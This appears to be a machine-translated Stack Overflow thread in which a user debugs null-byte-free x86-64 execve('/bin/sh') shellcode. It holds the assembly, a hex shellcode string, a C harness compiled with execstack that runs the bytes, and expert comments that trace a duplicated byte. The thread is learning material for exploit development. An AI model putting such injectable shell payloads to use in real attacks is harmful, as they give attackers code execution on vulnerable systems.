Цель: я пытался использовать режим RIP в x86-64. Несмотря на то, что сборка сама по себе работает должным образом, шелл-код этого не делает.
Проблема. Вкратце я попробовал вот что:
jmp l1
str1: db "some string"
l1:
other code
lea rax, [rel str1]
Я использовал вышеупомянутое в разных местах, это не помогло только в определенных местах и преуспело в других местах. Я попытался поиграть и не смог найти никакой закономерности, когда это не помогло. Когда переменная (инструкция str1: db) находится после инструкции, обращающейся к ней, она никогда не терпела неудач (по моим наблюдениям). Однако я хочу удалить нули, поэтому я разместил определение переменной перед тем, как получить к нему доступ.
Находки отладки
При отладке я обнаружил, что сбойный jmp указывает на неверный адрес инструкции. Например: (в gdb)
(code + 18) jmp [code +27] //jmp pointing incorrectly to in-between 2
(code + 22) ... (this part has label)
(code + 24) some instruction // this is where I intended the jmp
(code + 28) some other instruction
Код. Это пример кода. Я пытался создать Execve Shell. Он довольно большой, поэтому я определил позицию виновника JMP.
global _start
section .text
_start:
xor rax,rax
mov rsi,rax
mov rdi,rsi
mov rdx,rdi
mov r8,rdx
mov rcx,r8
mov rbx,rcx
jmp gg //failing (jumping somewhere unintended)
p2: db "/bin/sh"
gg:
xor rax,rax
lea rdi, [rel p2]
mov [rdi+7], byte al //null terminating using 0x00 from rax
mov [rdi+8], rdi
mov [rdi+16],rax
lea rsi,[rdi+8]
lea rdx,[rdi+16]
mov al,59
syscall
РЕДАКТИРОВАТЬ: 1. Изменили код, чтобы он содержал неверные инструкции.
РЕДАКТИРОВАТЬ: 2 Шелл-код на языке C, который я использовал.
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x48\x31\xc0\x48\x89\xc6\x48\x89\xf7\x48\x89\xfa\x49\x89\xd0\x4c\x89\xc1\x48\x89\xcb\xeb\x07\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\x48\x31\xc0\x48\x8d\x3d\xef\xff\xff\xff\x88\x47\x07\x48\x89\x7f\x08\x48\x89\x47\x10\x48\x8d\x77\x08\x48\x8d\x57\x10\xb0\x3b\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
ИЗМЕНИТЬ 3. Я бы получил Hexdump, поместив следующий код в файл Bash и запустив его, передав имя файла в качестве аргумента. Взял из ShellStorm.
`for i in $(objdump -d $1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i`;
jmp rel8
смещение или изменились и другие байты? (Используйте отладчик для проверки памяти в реальном процессе и отредактируйте свой вопрос, чтобы сделать его минимально воспроизводимым примером.) - person Peter Cordes   schedule 23.12.2017"/bin/sh"
должен завершаться нулем дляexecve
. Обычно это означает, что вам нужно поставить его последним или вам нужно изменить его во время выполнения, чтобы изменить байт после него на ноль. Если у вас несколько строк, я не думаю, что вам будет выгодно перепрыгивать через каждую из них по отдельности, если только вы не используете трюкcall
, чтобы протолкнуть их адрес; просто сгруппируйте их в один блок. Я думаю, что в вашем длинном примере кода некоторые из них имеют явную длину, но я не пытался читать ваш код без комментариев, чтобы увидеть, как он работает. - person Peter Cordes   schedule 23.12.2017[rdi+8]
и[rdi+16]
, избегаю изменения каких-либо инструкций, которые еще не были выполнены. Обратите внимание, что после их выполнения инструкции, которые вы видите в представлении разборки отладчика, будут другими. Это приведет к тому, что современные процессоры будут выполнять очистку конвейера (самомодифицирующуюся машинную ядерную бомбу), но производительность этого кода не имеет значения. - person Peter Cordes   schedule 23.12.2017jmp
был бы более чувствителен к сбоям, чем что-либо еще. Или вы смотрите на разборку после того, как хранилища уже изменили цель перехода, или ваша разборка выходит из синхронизации из-за данных, не являющихся инструкциями?jmp
по-прежнему кодируется какeb 07
? - person Peter Cordes   schedule 23.12.2017Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
Я собрал как: -nasm -felf64 -o execShell.o execShell.asm ld -o execShell.s execShell.asm -N
-N добавлен в состояние сборки, чтобы помочь переписать шеллкод памяти на C (добавлен в EDIT 2 :) Скомпилирован с использованием gcc -fno-stack-protector -z execstack -o relExec.o relExec.c выше дает ошибку сегментации (relExec.o) при выполнении - person Yuvraj Singh   schedule 04.01.2018\x48\x31\x48\x31
. Это должно быть просто\x48\x31
. Если вы исправите это, все должно быть в порядке, но в конечном итоге я считаю, что дополнительные байты дублируются после того, как данные произошли из-за метода, который вы использовали для получения автономного исполняемого файла и генерации строки оболочки. Я предполагаю, что вы использовали вывод какой-то программы дизассемблирования (objdump? что-то еще?) проанализировал байты и превратил их в строку. - person Michael Petch   schedule 05.01.2018